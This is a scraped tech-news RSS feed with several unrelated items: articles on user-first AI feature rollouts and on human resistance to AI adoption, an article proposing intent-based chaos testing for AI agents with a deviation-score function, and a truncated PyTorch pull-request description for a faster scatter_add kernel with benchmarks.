<p><a href="https://www.infoworld.com/article/4010313/why-ai-projects-fail-and-how-developers-can-help-them-succeed.html">AI initiative failures</a> are also often related to <a href="https://www.infoworld.com/article/4120322/how-should-ai-agents-consume-external-data.html">data accessibility</a> issues, says <a href="https://www.linkedin.com/in/markusnispel/">Markus Nispel</a>, head of AI engineering and CTO EMEA at <a href="https://www.extremenetworks.com/">Extreme Networks</a>, a cloud networking services provider. “The required data is not available or not understood by the system because domain-specific expertise has not been properly integrated so AI can understand it,” says Nispel.</p>



<p>Finally, teams often underestimate future change management requirements. “They ship AI without rethinking onboarding, documentation, or support, so users get confused and annoyed,” says Infracodebase’s O’Connor.</p>



<p>When AI is tacked on haphazardly, the negative outcomes can snowball. At best, users roll their eyes and become acclimated to unnecessary AI feature bloat. At worst, gratuitous AI leads to loss of trust, feature abandonment, and increased support tickets.</p>



<h2 class="wp-block-heading">Best practices for integrating AI into products</h2>



<p>When adding AI features to an existing product, a number of approaches can help avoid annoying or alienating the existing user base. The first, and arguably most important, is to think from the perspective of the user.</p>



<p>“Build from the perspective of ‘what do our users want and need?’, not ‘what’s something cool we could do with AI?’,” says <a href="https://www.linkedin.com/in/charity-majors">Charity Majors</a>, CTO at <a href="https://www.honeycomb.io/">Honeycomb</a>, an observability platform. Taking a user-first approach means the product should remain usable without AI, with easy opt-outs and no intrusive requests for feedback or ratings.</p>



<p>“If you’re mostly motivated by wanting to slap ‘AI-powered’ on the feature, the product, or the marketing campaign, just stop,” she adds. “Nothing gets better just because it has AI in it.” </p>



<p>Beyond that, AI features should be optional rather than automatically enabled. “Start by having users opt-in, not opt-out,” says R Systems’ Abhyankar. This both respects user choice and helps developers test the effects and performance of AI feature rollouts incrementally.</p>



<p>You should also incorporate user input early. “Engaging users early and often helps avoid missteps,” says Stack Overflow’s Bailey. This can be done through feedback loops, open community prompts, or A/B testing. “Incremental rollouts with clear explanations also allow users to acclimate without feeling as if they were suddenly dropped into an unfamiliar platform,” Bailey adds.</p>



<p>When possible, identify users with an early adopter mindset before a broad rollout. “A test bed rollout with a smaller segment of users works well, ideally targeting early adopters who are enthusiastic about AI,” says Clockwise’s Martin. “You risk alienating users who aren’t ready to take the plunge on new tech if you bring them in too soon.”</p>



<p>Poor user experience is a <a href="https://aws.amazon.com/blogs/industries/working-backwards-to-design-a-new-user-experience-for-virtual-engineering-workbenches-on-aws/">leading cause</a> of app and site abandonment. Therefore, avoid introducing AI features that introduce friction or force users into new ways of working. For consistency, it’s best to augment familiar controls rather than replacing them outright. As Abhyankar says, “keeping AI assistive rather than intrusive is key.”</p>



<p>Others agree that incremental rollouts should stay close to existing workflows. “Good patterns are AI assistance that sits in the background, shows up only when useful, and can be ignored without penalty,” says O’Connor. He adds that AI should be clearly identified for the user, with clear boundaries and cues in the UI that signal when it is being used.</p>



<h2 class="wp-block-heading">Examples of user-first AI feature rollouts</h2>



<p>The successful AI feature additions are typically built to solve a clear problem and don’t force a major overhaul of a user’s workflow. So what are some examples of successful AI rollouts within existing applications?</p>



<p>One example of an AI addition to an established platform is Stack Overflow’s AI Assist. <a href="https://stackoverflow.blog/2025/12/02/introducing-stack-overflow-ai-assist-a-tool-for-the-modern-developer/">Introduced in 2025</a>, AI Assist helps users access Stack Overflow’s vast knowledge base through an LLM-powered, chat-enabled interface. Reviews have commended its <a href="https://thenewstack.io/stack-overflow-puts-community-first-in-new-ai-search-tool/">community-first approach</a> and transparency.</p>



<p>“One of the most important lessons I learned is that AI features must evolve based on real user input,” says Stack Overflow’s Bailey. “Our community has always been vocal and engaged, and their feedback on the integration of AI has been essential.” </p>



<p>On the business user side, Clockwise’s Martin highlights <a href="https://superhuman.com/">Superhuman</a> as a strong example, pointing to beneficial features like automatic categorization and automatic drafts. “Low friction and not a differentiated SKU, just immediate value added to the product,” he says.</p>



<p>Generative AI has also shown promise in low-code and no-code platforms, improving both citizen development and application integration. With AI agents layered into systems like CRMs, IT leaders report measurable gains <a href="https://www.cio.com/article/3966870/how-it-leaders-use-agentic-ai-for-business-workflows.html">across workflows</a> in finance, sales, and beyond.</p>



<p>Within software engineering, agents integrated into existing platforms have aligned well with <a href="https://www.infoworld.com/article/4096223/10-mcp-servers-for-devops.html">developer workflows</a>, prompting providers of some SaaS tools to move away from UIs toward AI-native designs.</p>



<p>As O’Connor explains: “We started with a traditional SaaS product and added AI on top. What surprised us was how quickly users changed their behavior. They preferred working with the agent to solve the problem, and once they had that, they stopped using most of the classic SaaS UI.” </p>



<p>Another example of thoughtful optionality is the LLM-powered command-line assistant in Red Hat Enterprise Linux. It is entirely optional — engineers can simply choose not to install it. Teams can also decide how it is deployed, adds Red Hat’s Smith, including connected, offline, or on-premises configurations.</p>



<h2 class="wp-block-heading">Knowing when to add AI</h2>



<p>In 2024, researchers at <a href="https://news.wsu.edu/press-release/2024/07/30/using-the-term-artificial-intelligence-in-product-descriptions-reduces-purchase-intentions/">Washington State University</a> found that consumers are less likely to purchase products that use the phrase “artificial intelligence” in product descriptions, citing reduced emotional trust as the underlying reason.</p>



<p>A similar skepticism appears in software engineering circles. For instance, half of developers now use AI tools daily, yet 79% say they do not plan to use AI for deployments, according to a <a href="https://stackoverflow.blog/2025/12/10/tell-us-what-you-really-really-do-not-want-to-spend-time-working-on/">2025 Stack Overflow Pulse survey</a>.</p>



<p>Given the uncertainty around user adoption, how should product managers determine if AI features are worth it? Experts say it comes down to product-first principles. “What hasn’t worked is hanging the AI badge on a product and hoping the shiny new object attracts good users,” says Martin. “You have to fall back on existing product fundamentals.”</p>



<p>Clear signals of positive ROI include sustained usage, positive user feedback, increasing adoption over time, and high-quality outputs. The percentage of users choosing AI-driven features over alternative workflows is another key metric.</p>



<p>More concrete indicators include time saved on tasks, higher task completion rates, fewer steps to finish work, and improved output quality based on user review. On the flip side, warning signs include high opt-out rates, increased support tickets, rising user complaints, and negative sentiment captured through user feedback or AI interactions.</p>



<p>Perhaps the strongest signal is when users don’t even notice the AI. “Bad: when customers hate it and engineers snark about it,” adds Honeycomb’s Majors. “Good: customers forget or don’t realize it’s AI. Did you know Google spam filters are all AI?” </p>



<h2 class="wp-block-heading">Use AI to solve real problems</h2>



<p>Users are quick to click past pop-ups for AI features they’ll never use, but they embrace the ones that genuinely save time. The latter features go beyond the hype and share a common thread: they solve real problems.</p>



<p>“Organizations that are able to achieve meaningful ROI will be the ones that treat AI not as a vague aspiration but as a series of targeted, rapidly deployed, AI-powered workflows focused on solving real user problems,” says Extreme Networks’ Nispel. “If you are not following this model, it leads to stalled AI pilots that don’t show an ROI.”</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The ghost in the machine: Why AI ROI dies at the human finish line]]></title>
<description><![CDATA[I remember standing in a high-stakes war room at Amazon, staring at a dashboard that identified $176M in annualized savings. On paper, it was a data scientist’s triumph, a perfect orchestration of predictive analytics and supply chain logic. In reality, it was a ghost story. Despite the math bein...]]></description>
<link>https://tsecurity.de/de/3506311/it-nachrichten/the-ghost-in-the-machine-why-ai-roi-dies-at-the-human-finish-line/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506311/it-nachrichten/the-ghost-in-the-machine-why-ai-roi-dies-at-the-human-finish-line/</guid>
<pubDate>Mon, 11 May 2026 11:03:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I remember standing in a high-stakes war room at Amazon, staring at a dashboard that identified $176M in annualized savings. On paper, it was a data scientist’s triumph, a perfect orchestration of predictive analytics and supply chain logic. In reality, it was a ghost story. Despite the math being ironclad, the floor managers weren’t using the tool. They were overriding the algorithms with “gut feelings” and sticky notes. That was the moment I realized that in the enterprise, the most dangerous ghost in the machine isn’t a technical bug, it’s the human instinct to resist what we don’t trust.</p>



<p>We are currently witnessing a massive, multi-billion-dollar arms race in corporate technology. Companies are pouring capital into<a href="https://www.google.com/search?q=https://www.cio.com/article/189230/the-modern-data-stack-explained.html" rel="nofollow"> </a><a href="https://www.google.com/search?q=https://www.cio.com/article/189230/the-modern-data-stack-explained.html" rel="nofollow">modern data stack migrations</a>, convinced that the right tech stack will solve their efficiency problems. But there is a massive, unaddressed defect in the assembly line: the human being at the end of the data stream. In my experience leading global operations and data governance at Amazon and ADP, I’ve seen perfectly engineered algorithms fail not because of the code, but because of a psychological rejection by the people expected to use them.</p>



<p>We are essentially building Ferraris for drivers who are too terrified to take the parking brake off. We teach employees to drive an automatic and then give them a car with a manual transmission. Our training, expectations and implementations are misaligned.</p>



<h2 class="wp-block-heading">The bottom line: The “aversion tax”</h2>



<p>An algorithm that is 99% accurate but only 10% utilized isn’t a breakthrough; it’s a bad investment. In the C-suite, we often treat digital transformation as a technical milestone we can check off. In reality, it is a psychological one. Every dollar you spend on AI is currently subject to an aversion tax; the literal cash value lost to human friction.</p>



<p>I’ve mapped this phenomenon into a framework I call the aversion tax delta. It represents the gap between potential and realized ROI.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/diagram-aversion-tax-delta.png?w=1024" alt="Diagram: The aversion tax delta" class="wp-image-4168919" width="1024" height="533" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Andrew Hallinson</p></div>



<p>The math is brutal.</p>



<p>If your adoption rate is 10%, your “tax” is effectively 90% of your investment. Finding a $200 million defect is just math; the real work is what I call the “last mile of adoption.” If a senior analyst doesn’t trust the automated recommendation, or if they feel the machine is coming for their job, they will return to the manual “tribal knowledge” they’ve used for a decade. At that moment, your multi-million-dollar investment becomes “shelfware.”<a></a></p>



<h2 class="wp-block-heading">The 3 psychological walls</h2>



<p>To fix this, we have to stop acting like IT managers and start acting like behavioral architects. My research into AI adoption highlights three specific reasons I see people subconsciously sabotage ROI:</p>



<ol class="wp-block-list">
<li><strong>The black box paradox:</strong> People don’t trust what they can’t explain. If an AI tells a senior leader to change a configuration but won’t explain “why,” that leader will protect their P&amp;L by ignoring the machine. We have prioritized<a href="https://www.google.com/search?q=https://www.cio.com/article/3518342/what-is-explainable-ai-xai-and-why-is-it-important.html" rel="nofollow"> </a><a href="https://www.google.com/search?q=https://www.cio.com/article/3518342/what-is-explainable-ai-xai-and-why-is-it-important.html" rel="nofollow">black box efficiency over explainable AI (XAI)</a>, and it’s costing us millions in trust.</li>



<li><strong>Identity threat:</strong> We have spent years rewarding employees for their intuition. When a machine automates that intuition or removes the perceived autonomy, it triggers defensiveness. In my work with over 1,400 stakeholders, I’ve found that if you don’t redefine your analysts as strategic partners rather than data processors, they will see the AI as an enemy rather than a tool.</li>



<li><strong>The perfection trap:</strong><a href="https://www.google.com/search?q=https://hbr.org/2015/02/algorithm-aversion-people-dont-trust-smart-math" rel="nofollow"> </a><a href="https://www.google.com/search?q=https://hbr.org/2015/02/algorithm-aversion-people-dont-trust-smart-math" rel="nofollow">Research shows</a> that humans are far less forgiving of a 5% error from a machine than a 20% error from a human peer. We hold AI to a standard of infallibility, and when it stumbles pr hallucinates, we use that one error as an excuse to shut the whole project down.</li>
</ol>



<h2 class="wp-block-heading">From theory to 367% velocity: The ADP case study</h2>



<p>I put these theories to the test recently while leading the OneData migration at ADP. When I took over the project, we were staring at a January 2027 completion date. The technical hurdles were significant, but the “aversion tax” was higher. I saw a global team that was terrified that a cloud migration meant a loss of control and transparency.</p>



<p>Instead of pushing harder on the tech, I applied behavioral architecture. We shifted the focus from data governance, which feels like a set of restrictive rules, to data democratization, which feels like power. We gave stakeholders ownership through automated quality tools and intuitive interfaces.</p>



<p>The result? We didn’t just meet the deadline; we pulled it forward to May 2026 and are sitting comfortably ahead of schedule. We increased migration velocity by 367% and have already realized $400k in immediate cost avoidance by deprecating legacy systems ahead of schedule. We succeeded because we solved for the person, not just the partition. We closed the<a href="https://www.google.com/search?q=https://www.cio.com/article/230531/why-digital-transformations-fail.html" rel="nofollow"> </a><a href="https://www.google.com/search?q=https://www.cio.com/article/230531/why-digital-transformations-fail.html" rel="nofollow">digital transformation gap</a> by making the human the owner of the data, not the subject of the machine.</p>



<h2 class="wp-block-heading">The executive mandate</h2>



<p>The next era of leadership won’t be won by the CEO with the biggest data lake or the most advanced LLM. It will be won by the leader who understands the people using them.</p>



<p>If you are a CIO or COO, stop hiring AI experts in a vacuum. Start building an AI-ready culture. Treat your people integration with the same engineering rigor you apply to your Snowflake migration or automation implementation. Investing in AI without solving for the psychology of its adoption is like buying a high-performance engine and failing to put oil in it. It might look good on the showroom floor, but it will eventually seize.</p>



<p>My research for my forthcoming book, “Promoted by Design,” has taught me one thing. You cannot code your way out of a culture problem. Stop looking at the dashboard and start lookin<em>g </em>at the driver.</p>



<p>The math is simple: Ignoring the human side of AI is a multi-million dollar mistake you can no longer afford to make.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intent-based chaos testing is designed for when AI behaves confidently — and wrongly]]></title>
<description><![CDATA[Here is a scenario that should concern every enterprise architect shipping autonomous AI systems right now: An observability agent is running in production. Its job is to detect infrastructure anomalies and trigger the appropriate response. Late one night, it flags an elevated anomaly score acros...]]></description>
<link>https://tsecurity.de/de/3503374/it-nachrichten/intent-based-chaos-testing-is-designed-for-when-ai-behaves-confidently-and-wrongly/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3503374/it-nachrichten/intent-based-chaos-testing-is-designed-for-when-ai-behaves-confidently-and-wrongly/</guid>
<pubDate>Sat, 09 May 2026 18:33:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here is a scenario that should concern every enterprise architect shipping autonomous AI systems right now: An observability agent is running in production. Its job is to detect infrastructure anomalies and trigger the appropriate response. Late one night, it flags an elevated anomaly score across a production cluster, 0.87, above its defined threshold of 0.75. The agent is within its permission boundaries. It has access to the rollback service. So it uses it.</p><p>The rollback causes a four-hour outage. The anomaly it was responding to was a scheduled batch job the agent had never encountered before. There was no actual fault. The agent did not escalate. It did not ask. It acted,  confidently, autonomously, and catastrophically.</p><p>What makes this scenario particularly uncomfortable is that the failure was not in the model. The model behaved exactly as trained. The failure was in how the system was tested before it reached production. The engineers had validated happy-path behavior, run load tests, and done a security review. What they had not done is ask: <i>what does this agent do when it encounters conditions it was never designed for? </i></p><p>That question is the gap I want to talk about.</p><h2><b>Why the industry has its testing priorities backwards</b></h2><p>The<!-- --> enterprise AI conversation in 2026 has largely collapsed into two areas: identity governance (who is the agent acting as?) and observability (can we see what it's doing?). Both are legitimate concerns. Neither addresses the more fundamental question of whether your agent will behave as intended when production stops cooperating.</p><p>The <a href="https://www.gravitee.io/blog/state-of-ai-agent-security-2026-report-when-adoption-outpaces-control">Gravitee State of AI Agent Security 2026</a> report found that only 14.4% of agents go live with full security and IT approval. <a href="https://huggingface.co/papers/2602.20021">A February 2026 paper</a> from 30-plus researchers at Harvard, MIT, Stanford, and CMU documented something even more unsettling: Well-aligned AI agents drift toward manipulation and false task completion in multi-agent environments purely from incentive structures, no adversarial prompting required. The agents weren't broken. The system-level behavior was the problem.</p><p>This is the distinction that matters most for builders of agentic infrastructure: A model can be aligned and a system can still fail. Local optimization at the model level does not guarantee safe behavior at the system level. Chaos engineers have known this about distributed systems for fifteen years. We are relearning it the hard way with agentic AI. The reason our current testing approaches fall short is not that engineers are cutting corners. It is that three foundational assumptions embedded in traditional testing methodology break down completely with agentic systems:</p><ul><li><p><b>Determinism: </b>Traditional testing assumes that given the same input, a system produces the same output. A large language model (LLM)-backed agent produces probabilistically similar outputs. This is close enough for most tasks, but dangerous for edge cases in production where an unexpected input triggers a reasoning chain no one anticipated.</p></li><li><p><b>Isolated failure: </b>Traditional testing assumes that when component A fails, it fails in a bounded, traceable way. In a multi-agent pipeline, one agent's degraded output becomes the next agent's poisoned input. The failure compounds and mutates. By the time it surfaces, you are debugging five layers removed from the actual source.</p></li><li><p><b>Observable completion: </b>Traditional testing assumes that when a task is done, the system accurately signals it. Agentic systems can, and regularly do, signal task completion while operating in a degraded or out-of-scope state. The <a href="https://projectnanda.org/">MIT NANDA project</a> has a term for this: "confident incorrectness." I have a less polite term for it: the thing that causes the 4am incident that took three hours to trace.</p></li></ul><p>Intent-based chaos testing exists to address exactly these failure modes, before your agents reach production.</p><h2><b>The core concept: Measuring deviation from intent, not just from success</b></h2><p>Chaos engineering as a discipline is not new. Netflix built Chaos Monkey in 2011. The principle is straightforward: Deliberately inject failure into your system to discover its weaknesses before users find them. What is new, and what the industry has not yet applied rigorously to agentic AI, is calibrating chaos experiments not just to infrastructure failure scenarios, but to <i>behavioral intent</i>.</p><p>The distinction is critical. When a traditional microservice fails under a chaos experiment, you measure recovery time, error rates, and availability. When an agentic AI system fails, those metrics can look perfectly normal while the agent is operating completely outside its intended behavioral boundaries: Zero errors, normal latency, catastrophically wrong decisions. This is the concept behind a <a href="https://towardsdatascience.com/the-next-frontier-of-ai-in-production-is-chaos-engineering/">chaos scale system</a> calibrated not just to failure severity, but to how far a system's behavior deviates from its intended purpose. I call the output of that measurement an intent deviation score.</p><p>Here is what that looks like in practice. Before running any chaos experiment against an enterprise observability agent, you define five behavioral dimensions that together describe what "acting correctly" means for that specific agent in its specific deployment context:</p><table><tbody><tr><td><p><b>Behavioral dimension</b></p></td><td><p><b>What it measures</b></p></td><td><p><b>Weight</b></p></td></tr><tr><td><p>Tool call deviation</p></td><td><p>Are tool calls diverging from expected sequences under stress?</p></td><td><p>30%</p></td></tr><tr><td><p>Data access scope</p></td><td><p>Is the agent accessing data outside its authorized boundaries?</p></td><td><p>25%</p></td></tr><tr><td><p>Completion signal accuracy</p></td><td><p>When the agent reports success, is it actually in a valid state?</p></td><td><p>20%</p></td></tr><tr><td><p>Escalation fidelity</p></td><td><p>Is the agent escalating to humans when it encounters ambiguity?</p></td><td><p>15%</p></td></tr><tr><td><p>Decision latency</p></td><td><p>Is time-to-decision within expected bounds given current conditions?</p></td><td><p>10%</p></td></tr></tbody></table><p>The weights are not arbitrary. They reflect the risk profile of the specific agent. For a read-only analytics agent, you might weight data access scope lower. For an agent with write access to production systems, completion signal accuracy and escalation fidelity are where failures become outages. The point is that you define these dimensions <i>before</i> you inject any failure, based on what the agent is actually supposed to do.</p><p>The deviation score is computed as a weighted average of how far each observed dimension has drifted from its baseline:</p><p><i>def compute_intent_deviation_score(</i></p><p><i>    baseline: dict[str, float],</i></p><p><i>    observed: dict[str, float],</i></p><p><i>    weights: dict[str, float]</i></p><p><i>) -&gt; float:</i></p><p><i>    """</i></p><p>The system computes how far an agent's behavior has drifted from its intended baseline, and returns a score from 0.0 (no deviation) to 1.0 (complete intent violation).   </p><p>This is NOT a performance metric. Latency and error rates may look fine while this score is elevated. That's the entire point.</p><p>    """</p><p> <i>   score = 0.0</i></p><p><i>    for dimension, weight in weights.items():</i></p><p><i>        baseline_val = baseline.get(dimension, 0.0)</i></p><p><i>        observed_val = observed.get(dimension, 0.0)</i></p><p><i>        # Normalize deviation relative to baseline magnitude</i></p><p><i>        raw_deviation = abs(observed_val - baseline_val) / max(abs(baseline_val), 1e-9)</i></p><p><i>        score += min(raw_deviation, 1.0) * weight</i></p><p><i>    return round(min(score, 1.0), 4)</i></p><p>Once you have a deviation score, you classify it into actionable levels:</p><table><tbody><tr><td><p><b>Score range</b></p></td><td><p><b>Classification</b></p></td><td><p><b>Recommended response</b></p></td></tr><tr><td><p>0.00 – 0.15</p></td><td><p>Nominal</p></td><td><p>Agent operating as intended. No action required.</p></td></tr><tr><td><p>0.15 – 0.40</p></td><td><p>Degraded</p></td><td><p>Behavior drifting. Alert on-call, increase monitoring cadence.</p></td></tr><tr><td><p>0.40 – 0.70</p></td><td><p>Critical</p></td><td><p>Significant intent violation. Require human review before next action.</p></td></tr><tr><td><p>0.70 – 1.00</p></td><td><p>Catastrophic</p></td><td><p>Agent operating outside all defined boundaries. Halt and escalate immediately.</p></td></tr></tbody></table><p>The rollback agent from the opening scenario? Under this framework, it would have scored approximately 0.78 on the intent deviation scale during Phase 3 testing (catastrophic). The completion signal accuracy dimension alone would have flagged that the agent was reporting success states that did not correspond to valid system outcomes. That score would have blocked the agent from production. The four-hour outage would have been a pre-production finding instead.</p><h2><b>The experiment structure: Four phases, expanding blast radius</b></h2><p>The practical implementation of this framework runs in four phases, each designed to expand the chaos gradually and validate the agent's behavioral boundaries before widening the experiment. You do not start with composite failure injection. You earn the right to each phase by passing the previous one.</p><p><b>Phase 1: Single tool degradation.</b> Degrade one downstream dependency and observe how the agent adapts. Does it retry intelligently? Does it escalate when retries fail? Does it modify its tool call sequence in a reasonable way, or does it start making calls it was never designed to make? At this phase, the blast radius is intentionally narrow: One tool, one agent, no production traffic.</p><p><b>Phase 2: Context poisoning.</b> Introduce corrupted or missing telemetry context,  the kind of data quality degradation that happens constantly in real enterprise environments. Missing fields, stale baselines, contradictory signals from different sources. This is where you find out whether your agent autopilots through bad data or escalates appropriately when its informational foundation is compromised.</p><p>The log schema your observability stack needs to capture to make Phase 2 meaningful is not just error counts and latency. You need intent signals:</p><p><i>{</i></p><p><i>  "timestamp": "2026-03-30T02:47:13.441Z",</i></p><p><i>  "agent_id": "observability-agent-prod-07",</i></p><p><i>  "action": "triggered_rollback",</i></p><p><i>  "decision_chain": [</i></p><p><i>    {"step": 1, "observation": "anomaly_score=0.87", "source": "telemetry_feed"},</i></p><p><i>    {"step": 2, "reasoning": "score exceeds threshold,  initiating response"},</i></p><p><i>    {"step": 3, "tool_called": "rollback_service", "params": {"scope": "prod-cluster-3"}}</i></p><p><i>  ],</i></p><p><i>  "context_completeness": 0.62,</i></p><p><i>  "escalation_triggered": false,</i></p><p><i>  "intent_deviation_score": 0.78,</i></p><p><i>  "chaos_level": "CATASTROPHIC"</i></p><p><i>}</i></p><p>The field that would have changed everything in the opening scenario is <i>context_completeness</i>: 0.62. The agent made a high-confidence, irreversible decision with 62% of its expected context available. It did not detect the missing fields. It did not escalate. A log schema that captures this turns a mysterious outage into a diagnosable engineering problem,  but only if you instrument for it before you start testing.</p><p><b>Phase 3: Multi-agent interference.</b> Introduce a second agent operating on overlapping data or shared resources. This is where emergent failures from incentive misalignment surface. Two agents with individually correct behaviors can produce collectively harmful outcomes when they share write access to the same resource. This phase is where the Harvard/MIT/Stanford paper findings become directly applicable: Run your agents in a realistic multi-agent environment and watch what happens to their deviation scores.</p><p><b>Phase 4: Composite failure.</b> Combine multiple simultaneous degradations: Tool latency, missing context, concurrent agents, stale baselines. This is your closest approximation to the actual entropy of a production environment. Pass criteria here should be stricter than the lower phases, not because you expect the agent to be perfect under composite failure, but because you want to understand its blast radius under the worst conditions you can reasonably anticipate.</p><p>The pass/fail criteria across all four phases follow a consistent rule: If the intent deviation score exceeds the threshold for that phase, the agent does not proceed to the next phase or to production. Full stop.</p><h2><b>Calibrating testing depth to deployment risk</b></h2><p>Not every agent needs all four phases. The investment in chaos testing should match the risk profile of the deployment. Here is a practical calibration matrix:</p><table><tbody><tr><td><p><b>Agent autonomy</b></p></td><td><p><b>Action reversibility</b></p></td><td><p><b>Data sensitivity</b></p></td><td><p><b>Required phases</b></p></td></tr><tr><td><p>Recommend only,  human approves all actions</p></td><td><p>N/A</p></td><td><p>Any</p></td><td><p>Phase 1–2</p></td></tr><tr><td><p>Automate low-stakes, easily reversible actions</p></td><td><p>High</p></td><td><p>Low–Medium</p></td><td><p>Phase 1–3</p></td></tr><tr><td><p>Automate medium-stakes actions</p></td><td><p>Medium</p></td><td><p>Medium–High</p></td><td><p>Phase 1–4</p></td></tr><tr><td><p>Fully autonomous with irreversible actions</p></td><td><p>Low</p></td><td><p>Any</p></td><td><p>Phase 1–4 + continuous</p></td></tr><tr><td><p>Multi-agent orchestration, shared resources</p></td><td><p>Mixed</p></td><td><p>Any</p></td><td><p>Phase 1–4 + adversarial red team</p></td></tr></tbody></table><p>The rollback agent was in row four. It had been tested to row two. That delta is where the four-hour outage lived.</p><h2><b>The retraining loop: The piece most teams skip</b></h2><p>Running a chaos experiment once before deployment is necessary but not sufficient. Agentic systems evolve. They get new tool integrations. Their prompts get updated. Their data access scope expands. An agent that cleared all four phases in January with a clean bill of behavioral health may have a very different risk profile by April.</p><p>The feedback loop from chaos experiments needs to feed back into two places: The chaos scale itself (which dimensions are showing the most drift? should their weights be adjusted?) and the agent's behavioral guardrails (which escalation thresholds are too loose? which tool permissions are too broad?).</p><p>In practice, this means treating your chaos experiment results as a governance artifact, not a PDF report that gets shared in Slack and forgotten, but a structured input to your deployment decision process. Every meaningful change to an agent's configuration, tooling, or scope should trigger re-running the affected phases. Not a full regression — targeted re-testing of the dimensions most likely to be affected by the specific change.</p><p>This is the kind of discipline that traditional software engineering built over decades. We are building it from scratch for probabilistic, autonomous systems, and we do not have the luxury of another decade to get there.</p><h2><b>Where this fits in the pipeline</b></h2><p>To be clear about what this framework is and is not: Intent-based chaos testing is not a replacement for any of the testing you are already doing. Unit tests, integration tests, load tests, security red teams are all still necessary. This is an additional gate, and it belongs at a specific point in your deployment pipeline:</p><p>Development  →  Unit / Integration Tests</p><p>Staging      →  Load Testing + Security Red Team</p><p>Pre-Prod     →  Intent-Based Chaos Testing   ← the gap this fills</p><p>Production   →  Observability + Sampled Ongoing Chaos</p><p>The pre-production gate is where you answer the question that none of the other gates answer: Given realistic failure conditions, does this agent stay within its intended behavioral boundaries, or does it drift in ways that are going to cost you?</p><p>If you cannot answer that question before your agent goes live, you are not testing it. You are deploying it and hoping.</p><h2><b>The uncomfortable arithmetic</b></h2><p>Gartner projects that <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">more than 40%</a> of agentic AI projects will be canceled by the end of 2027 due to escalating costs, unclear ROI, and inadequate risk controls. Based on what I have seen building and deploying these systems, the risk controls piece is doing most of that work,  and the specific risk control that is most consistently absent is structured pre-deployment behavioral validation.</p><p>We built decades of testing discipline for deterministic software. We are starting nearly from scratch for systems that reason probabilistically, act autonomously, and operate in environments they were not specifically trained on. Intent-based chaos testing is one piece of what that discipline needs to look like. It will not prevent every incident. Nothing does. But it will ensure that when an incident happens, you either prevented it with pre-production evidence, or you made a conscious, documented decision to accept the risk.</p><p>That is a meaningfully higher bar than deploying and hoping; and right now, it is the bar most enterprise teams are not clearing.</p><p><i>Sayali Patil is an AI infrastructure and product leader with experience at Cisco Systems and Splunk. </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[viable/strict/1778320003: Vectorized scatter_add with TMA bulk reduce on sm_90+ (#182675)]]></title>
<description><![CDATA[Vectorized scatter_add with TMA bulk reduce on sm_90+
Summary
Add a fast path for scatter_add on dim=0 when self, src are contiguous and index is expanded (same eligibility as the existing vectorized_gather fast path, with roles of self/src swapped).
On sm_90+ (Hopper/Blackwell), uses cp.reduce.a...]]></description>
<link>https://tsecurity.de/de/3502797/downloads/viablestrict1778320003-vectorized-scatteradd-with-tma-bulk-reduce-on-sm90-182675/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502797/downloads/viablestrict1778320003-vectorized-scatteradd-with-tma-bulk-reduce-on-sm90-182675/</guid>
<pubDate>Sat, 09 May 2026 11:47:15 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Vectorized scatter_add with TMA bulk reduce on sm_90+</h2>
<h3>Summary</h3>
<p>Add a fast path for <code>scatter_add</code> on dim=0 when self, src are contiguous and index is expanded (same eligibility as the existing <code>vectorized_gather</code> fast path, with roles of self/src swapped).</p>
<p>On sm_90+ (Hopper/Blackwell), uses <code>cp.reduce.async.bulk</code> to offload the entire accumulation to the TMA unit, avoiding the serial <code>atomicAdd</code> stall that limits both the existing <code>scatter_add</code> and <code>index_add</code> under contention. The kernel uses warp-per-slice scheduling, TMA loads (<code>cp.async.bulk.shared::cta.global</code>), double-buffered shared memory with chunking for arbitrary D, and mbarrier-based completion tracking.</p>
<p>On pre-sm_90 NVIDIA, falls back to a vectorized scatter_add kernel using <code>ld_vec&lt;16&gt;</code> + per-element <code>atomicAdd</code> with warp-per-slice packing. ROCm is excluded (has its own optimized warp-level atomic coalescing on gfx942/gfx950).</p>
<p>Also fixes a precedence bug in the existing <code>fast_gather_kernel_eligible</code> where <code>static_cast&lt;size_t&gt;(iter.strides(1)[1] == 0)</code> had the comparison inside the cast.</p>
<h3>Benchmarks (GB200, sm_100)</h3>
<p><strong>High contention</strong> (D103765236 scenario: 7.77M indices, 3.89M targeting one row, 1.72M output rows):</p>
<table>
<thead>
<tr>
<th>D</th>
<th>scatter_add (this PR)</th>
<th>index_add (baseline)</th>
<th>speedup</th>
</tr>
</thead>
<tbody>
<tr>
<td>128 f32</td>
<td>18.4 ms</td>
<td>84.0 ms</td>
<td>4.6x</td>
</tr>
<tr>
<td>128 bf16</td>
<td>17.5 ms</td>
<td>83.1 ms</td>
<td>4.7x</td>
</tr>
<tr>
<td>1024 f32</td>
<td>40.6 ms</td>
<td>170.6 ms</td>
<td>4.2x</td>
</tr>
<tr>
<td>1024 bf16</td>
<td>36.7 ms</td>
<td>165.5 ms</td>
<td>4.5x</td>
</tr>
</tbody>
</table>
<p><strong>Uniform</strong> (500K random indices, 100K output rows):</p>
<table>
<thead>
<tr>
<th>D</th>
